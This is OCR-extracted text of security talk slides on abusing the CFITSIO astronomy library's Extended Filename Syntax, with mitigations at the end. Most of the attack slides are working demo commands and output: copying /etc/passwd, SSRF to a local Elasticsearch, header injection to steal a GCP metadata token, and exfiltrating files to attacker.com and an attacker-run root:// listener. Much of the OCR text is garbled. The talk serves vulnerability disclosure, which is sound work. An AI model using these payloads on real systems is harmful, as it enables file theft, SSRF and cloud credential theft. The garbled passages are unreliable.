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Talk Structure

1.  From astronomy data to FITS and CFITSIO
Prior work

Extended Filename Syntax as an attack surface
EFS internals

Demo environment

Security primitives
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What IS FITS

Along Ilved astronomy and smentle data rmat | gade_rsﬁ"u's data,

.

Key Characteristics

¥ Flexible Image Transport System

o SIMPLE = T
¥ Headers + data units
BITPIX = 16
a Metadata-heavy and archival NAXIS .= 2
4 Designed for scientific compatibility NAXIS1 = 4096
NAXIS2 = 4096

T SR =



CFITSIO

What Is CFITSIO?

NASA-maintained C library used deep inside many astronomy tools and pipelines.

Desktop / Analysis Tools

SAOImage DS9S
fv / FITS viewers

Siril-like processing tools

Scientific Pipelines

NASA / HEASARC tooling
mission data workflows

archive processing

, NASA | GSFC | Sciences and Exploration

NasA HEASARC

High Energy Astrophysics Science Archive Research Center

Language Bindings

Python wrappers
higher-level FITS libraries

custom research scripts



CFITSIO

My prior work

https://blog.doyensec.com/2026/04/20/cfitsio-fuzzing.html

CFITSIO-EFS-09. Stack Buffer Overflows in ffourl Output URL Parsing

Vendor

NASA's HEASARC

Severity

Vulnerability Class

Memory Corruption (Buffer and Integer Overflows,
Format String,

Component

Status

Credits

The Extended Filename Syntax lets cg
compression spec []. The ff 1 fi
(tmpl c) using str
buffer's capacity.

A crafted filename with hundreds of char
of the local arrays, clobbering adjacent st|
fopen accepts untrusted URLs and this ¢
reliably smash the stack and, on systems|

~fil

SI0 Fuzzing: Memory Corruptions and a
Codex-Assisted Pipeline

Have you ever wondered how those amazing space photos are taken? Are they exclusive to the big
telescopes floating in space or can you take one from your backyard? What does it take to extract
hydrogen colors out of a seemingly black sky?




EFS

\Mlat Is EFS
: Extendma Iilename parser.

' R - o

'rawfile.dat[i512,512]" RE3 . ’ .

# raw bytes — temporary FITS image ]
. A filename can encode

ok - v -
; e b transforms, filters, protocols,
"\ 'ftp://host/archive/file.fits' ——y and output clauses.
< - # remote protocol access Lt e v e i
3 730003018 e o
\ o B R s SEas -A'-‘«': ;\'.; .'_. ) < .
'myfile.fits[EVENTS][PHA > 5]' TECLILIGERITY, - .
# temporary filtered FITS object SRR ¢ g e : ‘ 3
: s . .
. '




EFS

Why EFS Matters

Applications oft:ﬁ pass ugefiifbntmlled filenames into default CFITS/op

application
- " passes path

CFITSIO
interprets EFS




EFS

int ffopen(fitsfile **xfptr, /* 0 - FITS file pointer x/
const char *name, /* I - full name of file to open %/
int mode, /* I - 0@ = open readonly; 1 = read/write %/
int xstatus) /* I0 - error status x*/

/*

Open an existing FITS file with either readonly or read/write access.

*/




EFS

Driver

. . . . file:// mem:// : http://
fits_register_driver(prefix, el ! koL | —
checkfile, open, create, close, e - ; ' , b/
size, flush, seek, read, write); . ( ( ]
8 ftp:// ftpsmem:// | irafmem:// y
P i il VI TALARY IR o ® o
,4-:' 3 2 ; port x . o g = Y ~ *

Key Driver Mechanisms:

e  Drivers are registered with a specific prefix (e.g., "http://", "mem://") to handle different file access protocols.
e  The registration function fits_register_driver maps high-level I/O operations to driver-specific implementations.
e  Protocol support varies from local file systems to remote network requests and in-memory buffers.




LAB

Demo Environment

DOCKER CONTAINER MINIMAL HELPER
cfitsio:4.6.3 fits-sample-opener

VULNERABLE ENTRY POINT
fits_open_file()

# docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 fits-sample-opener
'sample.fits’

FITS-sample-opener: preparing to inspect 'sample.fits'

Opening file via fits_open_file (extended filename syntax enabled)
Querying image dimensionality using fits_get_img_dim

Fetching axis sizes with fits_get_img_size

Result: NAXIS=2 [2000 x 4]

Closing FITS handle via fits_close_file

Done.



PRIMITIVE 1

Arbitrary File Copy

The outfile‘c'l"ause gives the cleanest first primitive.

——
———
= =

.l\
_—

—___root:x:0:0:roo0t:/root: /b1n/bash

# 1s foo o -
1s: cannot access 'foo': No such file or directory

# docker run —--rm -v "$(pwd)": /Workspace cfitsion:4.6.3 flts sample-opener
'/etc/passwd(/workspace/foo)"' =
FITS-sample-opener: preparing to inspect-' /etc/passwd(/Workspace/foo){v
Opening file via fits_open_file (extended filename syntax enabled)
FITS-sample-opener error during fits_open_file (status=108) ——

FITSIO status = 108: error-reading from FITS flle
Error reading data buffer from file: K. -
/etc/passwd(/workspace/foo)

ffopen could not interpret primary array headeP of flle i A;

/etc/passwd(/workspace/foo)

# 1s foo
foo

# cat foo | head -1




PRIMITIVE 2 -

Server-Side Request Forgery

P
>

Remote URL pi‘u*s outfile g’;‘ives fetch plus local persistence. ; e

# 1s elastic.txt
1s: cannot access 'elastic.txt': No such file or directory

# docker run --rm --network=host -v "$PWD:/workspace" cfitsio:4.6.3 fits-sample-opener
"http://127.0.0.1:9200/_cat/indices(/workspace/elastic.txt)' \
FITS-sample-opener: preparing to inspect 'http://127.0.0.1:9200/_cat/indices(/workspace/elastic.txt)’
Opening file via fits_open_file (extended filename syntax enabled)

" FITS-sample-opener error during fits_open_file (status=108)

\«

FITSIO status = 108: error reading from FITS file
Content-Length not a multiple of 2880 (http_file_open) 453
Error reading data buffer from file:
http://127.0.0.1:9200/_cat/indices(/workspace/elastic.txt)
ffopen could not interpret primary array header_of file:
http://127.0.0.1:9200/_cat/indices(/workspace/elastic.txt)

# cat elastic.txt

health status index vuid pri rep docs.count docs.deleted store.size
pri.store.size
green open users c4xXvJHoR9gz-demo-001 1 0] 142 0 148.2kb

148.2kb =

\




PRIMITIVE 2

AWS IMDSV1

Simpler request model. " Stateful token flow.
Classic SSRF target. ') . Harder as one-shot exploit.

GCP

Requires metadata header.
Header injection can satisfy it.



PRIMITIVE 3

HTTP Header Injection

The HTTP request line is assembled u3|ngatta

cker-con oned/(ename b
b T h 5 y : 4

#define MAXLEN 1200 | Z’/ e
statlc int http open_ networ'k(char‘ *url, FIL’E **httpflle =
char *contenttype, int *contentlengih) ‘j;: /‘/
{ : \ A== I
2 o ] 208 Nz [
snprintf(tmpstr, MAXLEN, "GET %s \H\TTP/1.0\‘r‘\n", Tn)g=a7 NG
N\ L e




PRIMITIVE 3 .

Server-Side Request Forgery on GCP

P

# 1s gcp-token.txt
1s: cannot access 'gcp-token.txt': No such file or directory

# docker run --rm --network=host -v "$PWD:/workspace" cfitsio:4.6.3 fits-sample-opener \
'http://metadata.google.internal/computeMetadata/vl/instance/service-accounts/default/token
HTTP/1.1\nMetadata-Flavor: Google\n[f@OH(/workspace/gcp-token.txt)"'

FITS-sample-opener: preparing to inspect
"http://metadata.google.internal/computeMetadata/vl/instance/service-accounts/default/token HTTP/1.1
Metadata-Flavor: Google

foo: (/workspace/gcp-token.txt)'

Opening file via fits_open_file (extended filename syntax enabled)

FITS-sample-opener error during fits_open_file (status=108)

<...truncated...>

# cat gcp-token.txt

{
"access_token": "<cut>",
"expires_in": 3599,
"token_type": "Bearer"

}

e ———— —— . Z R
——{ = 2
S,y — e e e A ——




Primitive 4

tapab\ty Gap .

Asecond URL |n3|de the Eutflle clause is not enough. &

# docker run ——Pm ;—network-host -v "$PWD:/workspace" cfitsio:4.6.3

« fits-sample-opener 'http://127.0.0.1:9200/_cat/indices(http://attacker.com/exfil)"

= ;,[ Need a backend that can make a network connection and write.

~FITS-sample-opener: preparing to inspect
'http://127.0.0.1:9200/_cat/indices(http://attacker.com/exfil)"

W 0pening file via fits_open_file (extended filename syntax enabled)

- FITS-sample-opener error .during fits_open_file (status=104)

FITSIO status = 104: could not-open the named file
. checkfile failed for this file: (ffopen)
- http://127.0.0.1:9200/_cat/indices(http://attacker.com/exfil)

‘_';.2‘-_'7 N\ \ =

.2.\/-;‘;‘. ':'." . an.m% -

2 e arant e L - .

- -



PRIMITIVE 4 PRIMITIVE4

root:// Exfiltration v

The legacy ROOTd driver gives the missing outbound ‘\}vrite prirﬁiti‘v‘e.- o

‘

attacker

local file —_— EFS transform —>
SR server

$ python3 root.py

Listening on 0.0.0.0:1094 for rootd clients...



OBSTACLE 1

Authentication
: o’ : // i‘””
/* get the username %/
if (NULL == getenv("ROOTUSERNAME")) {
if (strlen(getenv("ROOTUSERNAME")) > MAXLEN-1)
{
ffpmsg("root user name too long (root_openfile)");
return (FILE_NOT_OPENED);
}
strcpy(recbuf,getenv("ROOTUSERNAME")) ;
} else {
printf("Username: ");
fgets(recbuf, MAXLEN, stdin);
recbuf[strlen(recbuf)-1] = '\0';




OBSTACLE 2

~— EITS requirement
| oot/ medg not work directly.

piomia,

. R 2y y £t

letc/passwd . s root:// write AN fails direct
P o S FITS assumption

i ) 5 ,..‘ N 2 '._:k’.:.’q,‘ 2 -: b © o
'—f-# docker run --network=host --rm cfitsio:4.6.3 fits-sample-opener
*'/etc/passwd(root: //127.0.0.1:1094/foobar)’

‘FITS—sample—openeP: preparing to inspect '/etc/passwd(root://127.0.0.1:

Opening file via fits_open_file (extended filename syntax enabled)
FITS-sample-opener error during fits_open_file (status=105)

FITSIO status = 105: couldn't create the named file

Unable to create output file for copy of input file:

root://127.0.0.1:1094/foobar

failed to find or open the following file: (ffopen)
——— 7. /etc/passwd(root://127.0.0.1:1094/foobar) _

1094/foobar) '

21



OBSTACLE 2

Raw-data Trlck

B
. - /

.. e e
- . - -
. Smde >
..w'i S -
2 .
| STt o
L L] 2 = - -

letc/passwd S root:/l... [b500,1] 4 1
. source bytes Ty remote outfile raw binary image select all \
a Sae . \
3
> b = raw blnary mode T—— y A
500 = bytes per row ,
1 =onerow high . __

[*,*] =.whole generated image




PRIMITIVE 4



https://docs.google.com/file/d/1Z6XxZPGZajjfHTr-SQOqFQOBonREaf-b/preview

MITIGATIONS -

Alternative APIs & Sanitization

Treat EFS as privileged functionality. y//f; P

Ry S —— o
( )

Strict APl Selection
Use fits open diskfile or

fits open datafile for literal paths to bypass
EFS parsing logic.

& Input Sanitization
N\ ¥

Do not pass untrusted strings to EFS-aware APIs.
Treat all external input as potentially malicious.

S Pw |
( ) ?'Y-'.
444 Protocol Constraints Access Control
YYY cConstrain protocols, outfile clauses, raw-data ™ Consider disabling risky EFS paths or requiring an

syntax, and network destinations via configuration. explicit opt-in for high-risk functionality.




MITIGATIONS

EDd’E CASES

Some appllcatlons aIready moved away from EFS behaV|or for practlcal reasons

The Astronomical
' ' ' U Image and Table Format
FEGARINIG IINNGY G I IdGilollUR L DL IIE
Siril Implementation fitsverify
Moved toward literal disk opens for flename “Use fits_open_diskfile (via ifdef) rather than fits_open_file
compatibility reasons per a user request. This allows for file paths with special
N

characters (e.g. brackets) that would otherwise fail’

Img-Src .

25"



https://fits.gsfc.nasa.gov/fits_utility.html
https://siril.org/

~—— Why This Is Hard To Fix

- Dogumented behavior, bm

B - -:‘3’ . .

e, PRy 4 Pty . - " .

St o N N
B | 9 i
P )
A - N - mlw - - -
%] Documented Behavior ~1  Backward Compatibility Scientific Workflows
a4l
Decades of established S Pressure to maintain support for Complex, real-world data processing

functionality that users rely on. 5. legacy systems and scripts. that cannot be disrupted.

. y,
‘ 7 B

FIXING

ressmire, real scientific users.

26




CLOSING

— Takeaways

A,

e
.. - LS ~:
. FY

Legacy features can become modern attack surfaces
.“ Applications may inherit unexpected side effects from linked libraries
o [ e 20t 0030 00 10 SN R - 8
Filenames are not always filenames

" - Thankyou .



